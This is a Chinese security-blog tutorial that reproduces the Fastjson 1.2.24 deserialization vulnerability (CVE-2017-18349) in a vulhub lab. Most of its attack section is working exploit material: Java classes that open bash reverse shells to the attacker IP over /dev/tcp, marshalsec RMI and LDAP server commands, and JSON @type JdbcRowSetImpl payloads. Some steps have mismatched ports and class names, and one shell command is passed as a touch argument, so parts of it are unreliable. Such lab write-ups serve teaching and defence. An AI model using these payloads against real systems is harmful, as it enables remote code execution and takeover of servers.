freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

FastJson1.2.24反序列化漏洞分析(CVE-2017-18349)
Koi 2023-10-25 11:20:20 98480

Fastjson是什么?

fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)

fastjson反序列化漏洞原理?

使用AutoType功能进行序列化的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

靶场搭建

Ubuntu靶场环境:IP地址:192.168.200.47

KALI的攻击机IP地址:192.168.200.14

启动环境

docker-compose up –d

1698203598_653887ce5b0126596ff7b.png!small?1698203599885

docker ps查看对应的容器端口号,端口为8090

docker ps

1698203605_653887d5eafdc985eeb6f.png!small?1698203607454


浏览器访问虚拟机ip:8090

1698203611_653887db59c81a9e44475.png!small?1698203612751

漏洞复现(漏洞利用)

为了能成功的利用fj1.2.24(以下简称fj24)反序列化漏洞,需要提前在Ubuntu20.04虚拟机(可自行选择主机系统)上搭建Web服务和RMI服务,通过win10物理机向fj服务器POST提交Poc后,使得靶机访问远程RMI服务,随后RMI将请求重定向到Web服务器后存放在Web服务器中的恶意Java代码(已编辑的反序列化类),从而成功实现远程命令执行。 JDNI有两个服务:分别是RMI和LDAP

利用RMI协议

在vulhub下的fastjson 1.2.24文件夹下保存以下代码为TouchFile.java文件


// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "bash -i >& /dev/tcp/192.168.200.14/7777 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

编译

javac TouchFile.java

在class文件所在的目录,Python起一个http服务。用8000端口进行访问

python -m http.server 8000

1698203618_653887e2b654bd5a094e4.png!small?1698203620190

开启的服务商会出现相应的请求记录

1698203623_653887e7b2134058d6627.png!small?1698203625235

使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.200.14:8000/#TouchFile" 9999

刷新靶场(http://192.168.200.47:8090)链接,抓包后改GET包为POST包,在发送的请求数据包中输入以下payload

1698203648_6538880036e9f4eedeaa3.png!small?1698203649789

然后发送到重发器中

1698203659_6538880bac555eeb71eb4.png!small?1698203661184

报500错误样式

1698203672_653888188827d9458ca22.png!small?1698203674119

构造的payload:

Content-Type: application/json
Content-Length: 139
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.200.14:9999/TouchFile",
"autoCommit":true
}
}

点击go

1698203687_65388827580ad9a699c97.png!small?1698203688861

此时RMI监听效果,同时要开启监听

1698203701_65388835818509daeb46d.png!small?1698203703131

1698203705_65388839e7534ba63aaa1.png!small?1698203707506



此时,不断的重发包接收到反弹shell,到此漏洞利用完成

1698203722_6538884ac12d2ed55aedd.png!small?1698203724553

利用LDAP协议

一样的做法,不过温馨提示:注意细节!! 在vulhub下的fastjson 1.2.24文件夹下保存以下代码为Getshell.java文件

// javac GetShell.java
import java.lang.Runtime;
import java.lang.Process;

public class Getshell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.200.14/8888 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

编译

javac Getshell.java

在class文件所在的目录,Python起一个http服务。用8000端口进行访问

python -m http.server 9999

1698203732_653888542ea2a80dbbd4e.png!small?1698203733695

使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.200.14:9000/#TouchFile"6666

刷新靶场(http://192.168.200.47:8090)链接,抓包后改GET包为POST包,在发送的请求数据包中输入以下payload

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.200.14:6666/GetShell",
"autoCommit":true
}
}

此时RMI监听效果,同时要开启监听,以使反弹shell能够接收的到

1698203739_6538885b38f5b22a2bd54.png!small?1698203740792

点击GO

1698203751_65388867e0b10bfceb629.png!small?1698203753471


很快,监听器就会收到请求,之后,反弹shell就会成功

1698203759_6538886f71629e93add69.png!small?1698203761407至此复现完毕

总结: 复现过程中,我也出现很多很问题,实在想敲一敲自己的粗心大意的脑瓜,这东西真是一点问题都不能出现,细心做、按部就班的来着实是复现漏洞成功的首要因素,话说回来,例如,反弹shell接收不到,报了500错误一点反应没有,在网上查找文章说是java版本问题,切换之后的却实现了。

复现不是最终目的,能理解原理,并且能够最终复现成功对于掌握此漏洞算是锦上添花。


参考文章:https://blog.csdn.net/weixin_42282189/article/details/120258118

# 网络安全 # web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Koi 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
WEB安全系列
Koi LV.6
每个人都是都是独一无二的个体。
  • 41 文章数
  • 28 关注者
Noob 靶场完整解析
2024-03-23
Al-Web-1.0 靶机 渗透测试
2024-03-20
Vulhub 练习 DC-4靶机完整复现
2024-03-11